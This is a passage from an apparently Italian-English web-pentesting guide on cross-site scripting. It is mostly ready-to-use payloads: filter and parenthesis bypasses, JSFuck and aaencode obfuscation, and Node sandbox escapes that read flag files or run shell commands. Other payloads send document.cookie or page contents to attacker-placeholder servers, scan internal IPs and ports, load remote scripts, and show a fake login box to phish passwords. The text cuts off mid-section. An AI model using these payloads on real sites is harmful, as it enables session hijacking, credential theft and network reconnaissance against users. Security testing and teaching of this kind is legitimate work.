'alert\x281\x29'instanceof{[Symbol.hasInstance]:eval}
// The “has instance” symbol allows you to customise the behaviour of the instanceof operator, if you set this symbol it will pass the left operand to the function defined by the symbol.
- https://github.com/RenwaX23/XSS-Payloads/blob/master/Without-Parentheses.md
- https://portswigger.net/research/javascript-without-parentheses-using-dommatrix
Chiamata arbitraria a function (alert)
//Eval like functions
eval('ale'+'rt(1)')
setTimeout('ale'+'rt(2)');
setInterval('ale'+'rt(10)');
Function('ale'+'rt(10)')``;
[].constructor.constructor("alert(document.domain)")``
[]["constructor"]["constructor"]`$${alert()}```
import('data:text/javascript,alert(1)')
//General function executions
`` //Can be use as parenthesis
alert`document.cookie`
alert(document['cookie'])
with(document)alert(cookie)
(alert)(1)
(alert(1))in"."
a=alert,a(1)
[1].find(alert)
window['alert'](0)
parent['alert'](1)
self['alert'](2)
top['alert'](3)
this['alert'](4)
frames['alert'](5)
content['alert'](6)
[7].map(alert)
[8].find(alert)
[9].every(alert)
[10].filter(alert)
[11].findIndex(alert)
[12].forEach(alert);
top[/al/.source+/ert/.source](1)
top[8680439..toString(30)](1)
Function("ale"+"rt(1)")();
new Function`al\ert\`6\``;
Set.constructor('ale'+'rt(13)')();
Set.constructor`al\x65rt\x2814\x29```;
$='e'; x='ev'+'al'; x=this[x]; y='al'+$+'rt(1)'; y=x(y); x(y)
x='ev'+'al'; x=this[x]; y='ale'+'rt(1)'; x(x(y))
this[[]+('eva')+(/x/,new Array)+'l'](/xxx.xxx.xxx.xxx.xx/+alert(1),new Array)
globalThis[`al`+/ert/.source]`1`
this[`al`+/ert/.source]`1`
[alert][0].call(this,1)
window['a'+'l'+'e'+'r'+'t']()
window['a'+'l'+'e'+'r'+'t'].call(this,1)
top['a'+'l'+'e'+'r'+'t'].apply(this,[1])
(1,2,3,4,5,6,7,8,alert)(1)
x=alert,x(1)
[1].find(alert)
top["al"+"ert"](1)
top[/al/.source+/ert/.source](1)
al\u0065rt(1)
al\u0065rt`1`
top['al\145rt'](1)
top['al\x65rt'](1)
top[8680439..toString(30)](1)
<svg><animate onbegin=alert() attributeName=x></svg>
DOM vulnerabilities
C’è del JS code che utilizza dati non sicuri controllati da un attacker come location.href. Un attacker potrebbe abusarne per eseguire codice JS arbitrario.
A causa dell’ampia spiegazione di DOM vulnerabilities it was moved to this page:
Lì troverai una spiegazione dettagliata di cosa sono le DOM vulnerabilities, come vengono provocate e come sfruttarle.
Inoltre, non dimenticare che alla fine del post menzionato puoi trovare una spiegazione su DOM Clobbering attacks.
Upgrading Self-XSS
Cookie XSS
If you can trigger a XSS by sending the payload inside a cookie, this is usually a self-XSS. However, if you find a vulnerable subdomain to XSS, you could abuse this XSS to inject a cookie in the whole domain managing to trigger the cookie XSS in the main domain or other subdomains (the ones vulnerable to cookie XSS). For this you can use the cookie tossing attack:
You can find a great abuse of this technique in this blog post.
Sending your session to the admin
Forse un user può condividere il suo profilo con l’admin e se la self XSS è all’interno del profilo dell’user e l’admin vi accede, quest’ultimo attiverà la vulnerabilità.
Session Mirroring
Se trovi una self XSS e la pagina web dispone di una session mirroring for administrators, per esempio permettendo ai client di chiedere aiuto e, affinché l’admin ti aiuti, egli vedrà ciò che vedi nella tua sessione ma dalla sua sessione.
Potresti far sì che l’administrator trigger your self XSS e rubare i suoi cookie/session.
Other Bypasses
Bypassing sanitization via WASM linear-memory template overwrite
When a web app uses Emscripten/WASM, constant strings (like HTML format stubs) live in writable linear memory. A single in‑WASM overflow (e.g., unchecked memcpy in an edit path) can corrupt adjacent structures and redirect writes to those constants. Overwriting a template such as “” turns sanitized input into a JavaScript handler value and yields immediate DOM XSS on render.
Check the dedicated page with exploitation workflow, DevTools memory helpers, and defenses:
Wasm Linear Memory Template Overwrite Xss
Normalised Unicode
Puoi verificare se i reflected values vengono unicode normalized sul server (o sul client) e abusare di questa funzionalità per bypassare le protezioni. Find an example here.
PHP FILTER_VALIDATE_EMAIL flag Bypass
"><svg/onload=confirm(1)>"@x.y
Ruby-On-Rails bypass
A causa di RoR mass assignment le virgolette vengono inserite nell’HTML e la restrizione delle virgolette viene quindi bypassata e campi aggiuntivi (onfocus) possono essere aggiunti all’interno del tag.\
Esempio di form (from this report), se invii il payload:
contact[email] onfocus=javascript:alert('xss') autofocus a=a&form_type[a]aaa
La coppia “Key”,“Value” verrà restituita così:
{" onfocus=javascript:alert('xss') autofocus a"=>"a"}
Quindi, l’attributo onfocus verrà inserito e si verifica XSS.
Combinazioni speciali
<iframe/src="data:text/html,<svg onload=alert(1)>">
<input type=image src onerror="prompt(1)">
<svg onload=alert(1)//
<img src="/" =_=" title="onerror='prompt(1)'">
<img src='1' onerror='alert(0)' <
<script x> alert(1) </script 1=2
<script x>alert('XSS')<script y>
<svg/onload=location=`javas`+`cript:ale`+`rt%2`+`81%2`+`9`;//
<svg////////onload=alert(1)>
<svg id=x;onload=alert(1)>
<svg id=`x`onload=alert(1)>
<img src=1 alt=al lang=ert onerror=top[alt+lang](0)>
<script>$=1,alert($)</script>
<script ~~~>confirm(1)</script ~~~>
<script>$=1,\u0061lert($)</script>
<</script/script><script>eval('\\u'+'0061'+'lert(1)')//</script>
<</script/script><script ~~~>\u0061lert(1)</script ~~~>
</style></scRipt><scRipt>alert(1)</scRipt>
<img src=x:prompt(eval(alt)) onerror=eval(src) alt=String.fromCharCode(88,83,83)>
<svg><x><script>alert('1')</x>
<iframe src=""/srcdoc='<svg onload=alert(1)>'>
<svg><animate onbegin=alert() attributeName=x></svg>
<img/id="alert('XSS')\"/alt=\"/\"src=\"/\"onerror=eval(id)>
<img src=1 onerror="s=document.createElement('script');s.src='http://xss.rocks/xss.js';document.body.appendChild(s);">
(function(x){this[x+`ert`](1)})`al`
window[`al`+/e/[`ex`+`ec`]`e`+`rt`](2)
document['default'+'View'][`\u0061lert`](3)
XSS with header injection in a 302 response
Se scopri di poter inject headers in a 302 Redirect response potresti provare a make the browser execute arbitrary JavaScript. Questo non è banale, perché i browser moderni non interpretano il body della risposta HTTP se lo status code della risposta HTTP è 302, quindi un semplice payload di cross-site scripting è inutile.
In questo report e questo puoi leggere come testare diversi protocolli all’interno dell’header Location e vedere se qualcuno di essi permette al browser di ispezionare ed eseguire il payload XSS presente nel body.
Protocolli noti in passato: mailto://, //x:1/, ws://, wss://, empty Location header, resource://.
Only Letters, Numbers and Dots
Se sei in grado di indicare il callback che javascript eseguirà limitato a quei caratteri. Read this section of this post per scoprire come abusare di questo comportamento.
Valid <script> Content-Types to XSS
(From here) Se provi a caricare uno script con un content-type come application/octet-stream, Chrome restituirà il seguente errore:
Refused to execute script from ‘https://uploader.c.hc.lc/uploads/xxx’ because its MIME type (‘application/octet-stream’) is not executable, and strict MIME type checking is enabled.
Gli unici Content-Type che permetteranno a Chrome di eseguire uno loaded script sono quelli presenti nella const kSupportedJavascriptTypes in https://chromium.googlesource.com/chromium/src.git/+/refs/tags/103.0.5012.1/third_party/blink/common/mime_util/mime_util.cc
const char* const kSupportedJavascriptTypes[] = {
"application/ecmascript",
"application/javascript",
"application/x-ecmascript",
"application/x-javascript",
"text/ecmascript",
"text/javascript",
"text/javascript1.0",
"text/javascript1.1",
"text/javascript1.2",
"text/javascript1.3",
"text/javascript1.4",
"text/javascript1.5",
"text/jscript",
"text/livescript",
"text/x-ecmascript",
"text/x-javascript",
};
Script Types to XSS
(From here) Quindi, quali tipi potrebbero essere indicati per caricare uno script?
<script type="???"></script>
La risposta è:
- module (predefinito, niente da spiegare)
- webbundle: Web Bundles è una funzionalità che permette di impacchettare diversi dati (HTML, CSS, JS…) insieme in un file
.wbn.
<script type="webbundle">
{
"source": "https://example.com/dir/subresources.wbn",
"resources": ["https://example.com/dir/a.js", "https://example.com/dir/b.js", "https://example.com/dir/c.png"]
}
</script>
The resources are loaded from the source .wbn, not accessed via HTTP
- importmap: Consente di migliorare la sintassi degli import
<script type="importmap">
{
"imports": {
"moment": "/node_modules/moment/src/moment.js",
"lodash": "/node_modules/lodash-es/lodash.js"
}
}
</script>
<!-- With importmap you can do the following -->
<script>
import moment from "moment"
import { partition } from "lodash"
</script>
Questo comportamento è stato usato in this writeup per rimappare una libreria su eval; abusarne può causare XSS.
- speculationrules: Questa funzionalità serve principalmente a risolvere alcuni problemi causati dal pre-rendering. Funziona così:
<script type="speculationrules">
{
"prerender": [
{ "source": "list", "urls": ["/page/2"], "score": 0.5 },
{
"source": "document",
"if_href_matches": ["https://*.wikipedia.org/**"],
"if_not_selector_matches": [".restricted-section *"],
"score": 0.1
}
]
}
</script>
Web Content-Types per XSS
(Da here) I seguenti content types possono eseguire XSS in tutti i browser:
- text/html
- application/xhtml+xml
- application/xml
- text/xml
- image/svg+xml
- text/plain (?? not in the list but I think I saw this in a CTF)
- application/rss+xml (off)
- application/atom+xml (off)
In altri browser altri Content-Types possono essere usati per eseguire JS arbitrario, vedi: https://github.com/BlackFan/content-type-research/blob/master/XSS.md
Content-Type xml
Se la pagina restituisce un content-type text/xml è possibile indicare un namespace ed eseguire JS arbitrario:
<xml>
<text>hello<img src="1" onerror="alert(1)" xmlns="http://www.w3.org/1999/xhtml" /></text>
</xml>
<!-- Heyes, Gareth. JavaScript for hackers: Learn to think like a hacker (p. 113). Kindle Edition. -->
Pattern di sostituzione speciali
Quando viene usato qualcosa come "some {{template}} data".replace("{{template}}", <user_input>). L’attaccante può usare special string replacements per cercare di bypassare alcune protezioni: "123 {{template}} 456".replace("{{template}}", JSON.stringify({"name": "$'$`alert(1)//"}))
Ad esempio in this writeup, questo è stato usato per scape a JSON string all’interno di uno script e execute arbitrary code.
Chrome Cache to XSS
XS Jails Escape
Se hai a disposizione solo un insieme limitato di caratteri da usare, controlla queste altre soluzioni valide per problemi di XSJail:
// eval + unescape + regex
eval(unescape(/%2f%0athis%2econstructor%2econstructor(%22return(process%2emainModule%2erequire(%27fs%27)%2ereadFileSync(%27flag%2etxt%27,%27utf8%27))%22)%2f/))()
eval(unescape(1+/1,this%2evalueOf%2econstructor(%22process%2emainModule%2erequire(%27repl%27)%2estart()%22)()%2f/))
// use of with
with(console)log(123)
with(/console.log(1)/index.html)with(this)with(constructor)constructor(source)()
// Just replace console.log(1) to the real code, the code we want to run is:
//return String(process.mainModule.require('fs').readFileSync('flag.txt'))
with(process)with(mainModule)with(require('fs'))return(String(readFileSync('flag.txt')))
with(k='fs',n='flag.txt',process)with(mainModule)with(require(k))return(String(readFileSync(n)))
with(String)with(f=fromCharCode,k=f(102,115),n=f(102,108,97,103,46,116,120,116),process)with(mainModule)with(require(k))return(String(readFileSync(n)))
//Final solution
with(
/with(String)
with(f=fromCharCode,k=f(102,115),n=f(102,108,97,103,46,116,120,116),process)
with(mainModule)
with(require(k))
return(String(readFileSync(n)))
/)
with(this)
with(constructor)
constructor(source)()
// For more uses of with go to challenge misc/CaaSio PSE in
// https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/#misc/CaaSio%20PSE
Se tutto è undefined prima di eseguire untrusted code (come in this writeup) è possibile generare oggetti utili “dal nulla” per abusare dell’esecuzione di arbitrary untrusted code:
- Usando import()
// although import "fs" doesn’t work, import('fs') does.
import("fs").then((m) => console.log(m.readFileSync("/flag.txt", "utf8")))
- Accesso a
requirein modo indiretto
According to this i moduli vengono avvolti da Node.js all’interno di una funzione, come segue:
;(function (exports, require, module, __filename, __dirname) {
// our actual module code
})
Pertanto, se da quel modulo possiamo chiamare un’altra funzione, è possibile usare arguments.callee.caller.arguments[1] da quella funzione per accedere a require:
;(function () {
return arguments.callee.caller.arguments[1]("fs").readFileSync(
"/flag.txt",
"utf8"
)
})()
Analogamente all’esempio precedente, è possibile utilizzare i gestori di errori per accedere al wrapper del modulo e ottenere la funzione require:
try {
null.f()
} catch (e) {
TypeError = e.constructor
}
Object = {}.constructor
String = "".constructor
Error = TypeError.prototype.__proto__.constructor
function CustomError() {
const oldStackTrace = Error.prepareStackTrace
try {
Error.prepareStackTrace = (err, structuredStackTrace) =>
structuredStackTrace
Error.captureStackTrace(this)
this.stack
} finally {
Error.prepareStackTrace = oldStackTrace
}
}
function trigger() {
const err = new CustomError()
console.log(err.stack[0])
for (const x of err.stack) {
// use x.getFunction() to get the upper function, which is the one that Node.js adds a wrapper to, and then use arugments to get the parameter
const fn = x.getFunction()
console.log(String(fn).slice(0, 200))
console.log(fn?.arguments)
console.log("=".repeat(40))
if ((args = fn?.arguments)?.length > 0) {
req = args[1]
console.log(req("child_process").execSync("id").toString())
}
}
}
trigger()
Obfuscation & Advanced Bypass
- Diversi obfuscations in una pagina: https://aem1k.com/aurebesh.js/
- https://github.com/aemkei/katakana.js
- https://javascriptobfuscator.herokuapp.com/
- https://skalman.github.io/UglifyJS-online/
- http://www.jsfuck.com/
- Più sofisticato JSFuck: https://medium.com/@Master_SEC/bypass-uppercase-filters-like-a-pro-xss-advanced-methods-daf7a82673ce
- http://utf-8.jp/public/jjencode.html
- https://utf-8.jp/public/aaencode.html
- https://portswigger.net/research/the-seventh-way-to-call-a-javascript-function-without-parentheses
//Katana
<script>
([,ウ,,,,ア]=[]+{}
,[ネ,ホ,ヌ,セ,,ミ,ハ,ヘ,,,ナ]=[!!ウ]+!ウ+ウ.ウ)[ツ=ア+ウ+ナ+ヘ+ネ+ホ+ヌ+ア+ネ+ウ+ホ][ツ](ミ+ハ+セ+ホ+ネ+'(-~ウ)')()
</script>
//JJencode
<script>$=~[];$={___:++$,$:(![]+"")[$],__$:++$,$_$_:(![]+"")[$],_$_:++$,$_$:({}+"")[$],$_$:($[$]+"")[$],_$:++$,$_:(!""+"")[$],$__:++$,$_$:++$,$__:({}+"")[$],$_:++$,$:++$,$___:++$,$__$:++$};$.$_=($.$_=$+"")[$.$_$]+($._$=$.$_[$.__$])+($.$=($.$+"")[$.__$])+((!$)+"")[$._$]+($.__=$.$_[$.$_])+($.$=(!""+"")[$.__$])+($._=(!""+"")[$._$_])+$.$_[$.$_$]+$.__+$._$+$.$;$.$=$.$+(!""+"")[$._$]+$.__+$._+$.$+$.$;$.$=($.___)[$.$_][$.$_];$.$($.$($.$+"\""+$.$_$_+(![]+"")[$._$_]+$.$_+"\\"+$.__$+$.$_+$._$_+$.__+"("+$.___+")"+"\"")())();</script>
//JSFuck
<script>
(+[])[([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]][([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]((![]+[])[+!+[]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]+(!![]+[])[+[]]+([][([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]+[])[[+!+[]]+[!+[]+!+[]+!+[]+!+[]]]+[+[]]+([][([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]+[])[[+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]]])()
</script>
//aaencode
゚ω゚ノ = /`m´)ノ ~┻━┻ / /*´∇`*/["_"]
o = ゚ー゚ = _ = 3
c = ゚Θ゚ = ゚ー゚ - ゚ー゚
゚Д゚ = ゚Θ゚ = (o ^ _ ^ o) / (o ^ _ ^ o)
゚Д゚ = {
゚Θ゚: "_",
゚ω゚ノ: ((゚ω゚ノ == 3) + "_")[゚Θ゚],
゚ー゚ノ: (゚ω゚ノ + "_")[o ^ _ ^ (o - ゚Θ゚)],
゚Д゚ノ: ((゚ー゚ == 3) + "_")[゚ー゚],
}
゚Д゚[゚Θ゚] = ((゚ω゚ノ == 3) + "_")[c ^ _ ^ o]
゚Д゚["c"] = (゚Д゚ + "_")[゚ー゚ + ゚ー゚ - ゚Θ゚]
゚Д゚["o"] = (゚Д゚ + "_")[゚Θ゚]
゚o゚ =
゚Д゚["c"] +
゚Д゚["o"] +
(゚ω゚ノ + "_")[゚Θ゚] +
((゚ω゚ノ == 3) + "_")[゚ー゚] +
(゚Д゚ + "_")[゚ー゚ + ゚ー゚] +
((゚ー゚ == 3) + "_")[゚Θ゚] +
((゚ー゚ == 3) + "_")[゚ー゚ - ゚Θ゚] +
゚Д゚["c"] +
(゚Д゚ + "_")[゚ー゚ + ゚ー゚] +
゚Д゚["o"] +
((゚ー゚ == 3) + "_")[゚Θ゚]
゚Д゚["_"] = (o ^ _ ^ o)[゚o゚][゚o゚]
゚ε゚ =
((゚ー゚ == 3) + "_")[゚Θ゚] +
゚Д゚.゚Д゚ノ +
(゚Д゚ + "_")[゚ー゚ + ゚ー゚] +
((゚ー゚ == 3) + "_")[o ^ _ ^ (o - ゚Θ゚)] +
((゚ー゚ == 3) + "_")[゚Θ゚] +
(゚ω゚ノ + "_")[゚Θ゚]
゚ー゚ += ゚Θ゚
゚Д゚[゚ε゚] = "\\"
゚Д゚.゚Θ゚ノ = (゚Д゚ + ゚ー゚)[o ^ _ ^ (o - ゚Θ゚)]
o゚ー゚o = (゚ω゚ノ + "_")[c ^ _ ^ o]
゚Д゚[゚o゚] = '"'
゚Д゚["_"](
゚Д゚["_"](
゚ε゚ +
゚Д゚[゚o゚] +
゚Д゚[゚ε゚] +
゚Θ゚ +
゚ー゚ +
゚Θ゚ +
゚Д゚[゚ε゚] +
゚Θ゚ +
(゚ー゚ + ゚Θ゚) +
゚ー゚ +
゚Д゚[゚ε゚] +
゚Θ゚ +
゚ー゚ +
(゚ー゚ + ゚Θ゚) +
゚Д゚[゚ε゚] +
゚Θ゚ +
((o ^ _ ^ o) + (o ^ _ ^ o)) +
((o ^ _ ^ o) - ゚Θ゚) +
゚Д゚[゚ε゚] +
゚Θ゚ +
((o ^ _ ^ o) + (o ^ _ ^ o)) +
゚ー゚ +
゚Д゚[゚ε゚] +
(゚ー゚ + ゚Θ゚) +
(c ^ _ ^ o) +
゚Д゚[゚ε゚] +
゚ー゚ +
((o ^ _ ^ o) - ゚Θ゚) +
゚Д゚[゚ε゚] +
゚Θ゚ +
゚Θ゚ +
(c ^ _ ^ o) +
゚Д゚[゚ε゚] +
゚Θ゚ +
゚ー゚ +
(゚ー゚ + ゚Θ゚) +
゚Д゚[゚ε゚] +
゚Θ゚ +
(゚ー゚ + ゚Θ゚) +
゚ー゚ +
゚Д゚[゚ε゚] +
゚Θ゚ +
(゚ー゚ + ゚Θ゚) +
゚ー゚ +
゚Д゚[゚ε゚] +
゚Θ゚ +
(゚ー゚ + ゚Θ゚) +
(゚ー゚ + (o ^ _ ^ o)) +
゚Д゚[゚ε゚] +
(゚ー゚ + ゚Θ゚) +
゚ー゚ +
゚Д゚[゚ε゚] +
゚ー゚ +
(c ^ _ ^ o) +
゚Д゚[゚ε゚] +
゚Θ゚ +
゚Θ゚ +
((o ^ _ ^ o) - ゚Θ゚) +
゚Д゚[゚ε゚] +
゚Θ゚ +
゚ー゚ +
゚Θ゚ +
゚Д゚[゚ε゚] +
゚Θ゚ +
((o ^ _ ^ o) + (o ^ _ ^ o)) +
((o ^ _ ^ o) + (o ^ _ ^ o)) +
゚Д゚[゚ε゚] +
゚Θ゚ +
゚ー゚ +
゚Θ゚ +
゚Д゚[゚ε゚] +
゚Θ゚ +
((o ^ _ ^ o) - ゚Θ゚) +
(o ^ _ ^ o) +
゚Д゚[゚ε゚] +
゚Θ゚ +
゚ー゚ +
(o ^ _ ^ o) +
゚Д゚[゚ε゚] +
゚Θ゚ +
((o ^ _ ^ o) + (o ^ _ ^ o)) +
((o ^ _ ^ o) - ゚Θ゚) +
゚Д゚[゚ε゚] +
゚Θ゚ +
(゚ー゚ + ゚Θ゚) +
゚Θ゚ +
゚Д゚[゚ε゚] +
゚Θ゚ +
((o ^ _ ^ o) + (o ^ _ ^ o)) +
(c ^ _ ^ o) +
゚Д゚[゚ε゚] +
゚Θ゚ +
((o ^ _ ^ o) + (o ^ _ ^ o)) +
゚ー゚ +
゚Д゚[゚ε゚] +
゚ー゚ +
((o ^ _ ^ o) - ゚Θ゚) +
゚Д゚[゚ε゚] +
(゚ー゚ + ゚Θ゚) +
゚Θ゚ +
゚Д゚[゚o゚]
)(゚Θ゚)
)("_")
// It's also possible to execute JS code only with the chars: []`+!${}
XSS payload comuni
Diversi payload in 1
Iframe Trap
Fai navigare l’utente nella pagina senza uscire dall’iframe e intercetta le sue azioni (incluse le informazioni inviate nei form):
Recuperare i cookie
<img src=x onerror=this.src="http://<YOUR_SERVER_IP>/?c="+document.cookie>
<img src=x onerror="location.href='http://<YOUR_SERVER_IP>/?c='+ document.cookie">
<script>new Image().src="http://<IP>/?c="+encodeURI(document.cookie);</script>
<script>new Audio().src="http://<IP>/?c="+escape(document.cookie);</script>
<script>location.href = 'http://<YOUR_SERVER_IP>/Stealer.php?cookie='+document.cookie</script>
<script>location = 'http://<YOUR_SERVER_IP>/Stealer.php?cookie='+document.cookie</script>
<script>document.location = 'http://<YOUR_SERVER_IP>/Stealer.php?cookie='+document.cookie</script>
<script>document.location.href = 'http://<YOUR_SERVER_IP>/Stealer.php?cookie='+document.cookie</script>
<script>document.write('<img src="http://<YOUR_SERVER_IP>?c='+document.cookie+'" />')</script>
<script>window.location.assign('http://<YOUR_SERVER_IP>/Stealer.php?cookie='+document.cookie)</script>
<script>window['location']['assign']('http://<YOUR_SERVER_IP>/Stealer.php?cookie='+document.cookie)</script>
<script>window['location']['href']('http://<YOUR_SERVER_IP>/Stealer.php?cookie='+document.cookie)</script>
<script>document.location=["http://<YOUR_SERVER_IP>?c",document.cookie].join()</script>
<script>var i=new Image();i.src="http://<YOUR_SERVER_IP>/?c="+document.cookie</script>
<script>window.location="https://<SERVER_IP>/?c=".concat(document.cookie)</script>
<script>var xhttp=new XMLHttpRequest();xhttp.open("GET", "http://<SERVER_IP>/?c="%2Bdocument.cookie, true);xhttp.send();</script>
<script>eval(atob('ZG9jdW1lbnQud3JpdGUoIjxpbWcgc3JjPSdodHRwczovLzxTRVJWRVJfSVA+P2M9IisgZG9jdW1lbnQuY29va2llICsiJyAvPiIp'));</script>
<script>fetch('https://YOUR-SUBDOMAIN-HERE.burpcollaborator.net', {method: 'POST', mode: 'no-cors', body:document.cookie});</script>
<script>navigator.sendBeacon('https://ssrftest.com/x/AAAAA',document.cookie)</script>
Tip
Non potrai accedere ai cookies da JavaScript se il flag HTTPOnly è impostato sul cookie. Ma qui hai some ways to bypass this protection se sei abbastanza fortunato.
Rubare il contenuto della pagina
var url = "http://10.10.10.25:8000/vac/a1fbf2d1-7c3f-48d2-b0c3-a205e54e09e8"
var attacker = "http://10.10.14.8/exfil"
var xhr = new XMLHttpRequest()
xhr.onreadystatechange = function () {
if (xhr.readyState == XMLHttpRequest.DONE) {
fetch(attacker + "?" + encodeURI(btoa(xhr.responseText)))
}
}
xhr.open("GET", url, true)
xhr.send(null)
Trova IP interni
<script>
var q = []
var collaboratorURL =
"http://5ntrut4mpce548i2yppn9jk1fsli97.burpcollaborator.net"
var wait = 2000
var n_threads = 51
// Prepare the fetchUrl functions to access all the possible
for (i = 1; i <= 255; i++) {
q.push(
(function (url) {
return function () {
fetchUrl(url, wait)
}
})("http://192.168.0." + i + ":8080")
)
}
// Launch n_threads threads that are going to be calling fetchUrl until there is no more functions in q
for (i = 1; i <= n_threads; i++) {
if (q.length) q.shift()()
}
function fetchUrl(url, wait) {
console.log(url)
var controller = new AbortController(),
signal = controller.signal
fetch(url, { signal })
.then((r) =>
r.text().then((text) => {
location =
collaboratorURL +
"?ip=" +
url.replace(/^http:\/\//, "") +
"&code=" +
encodeURIComponent(text) +
"&" +
Date.now()
})
)
.catch((e) => {
if (!String(e).includes("The user aborted a request") && q.length) {
q.shift()()
}
})
setTimeout((x) => {
controller.abort()
if (q.length) {
q.shift()()
}
}, wait)
}
</script>
Port Scanner (fetch)
const checkPort = (port) => { fetch(http://localhost:${port}, { mode: "no-cors" }).then(() => { let img = document.createElement("img"); img.src = http://attacker.com/ping?port=${port}; }); } for(let i=0; i<1000; i++) { checkPort(i); }
Port Scanner (websockets)
var ports = [80, 443, 445, 554, 3306, 3690, 1234];
for(var i=0; i<ports.length; i++) {
var s = new WebSocket("wss://192.168.1.1:" + ports[i]);
s.start = performance.now();
s.port = ports[i];
s.onerror = function() {
console.log("Port " + this.port + ": " + (performance.now() -this.start) + " ms");
};
s.onopen = function() {
console.log("Port " + this.port+ ": " + (performance.now() -this.start) + " ms");
};
}
Tempi brevi indicano una porta che risponde Tempi più lunghi indicano nessuna risposta.
Consulta la lista delle porte bloccate in Chrome here e in Firefox here.
Riquadro per richiedere le credenziali
<style>::placeholder { color:white; }</style><script>document.write("<div style='position:absolute;top:100px;left:250px;width:400px;background-color:white;height:230px;padding:15px;border-radius:10px;color:black'><form action='https://example.com/'><p>Your sesion has timed out, please login again:</p><input style='width:100%;' type='text' placeholder='Username' /><input style='width: 100%' type='password' placeholder='Password'/><input type='submit' value='Login'></form><p><i>This login box is presented using XSS as a proof-of-concept</i></p></div>")</script>
Cattura delle password tramite auto-fill
<b>Username:</><br>
<input name=username id=username>
<b>Password:</><br>
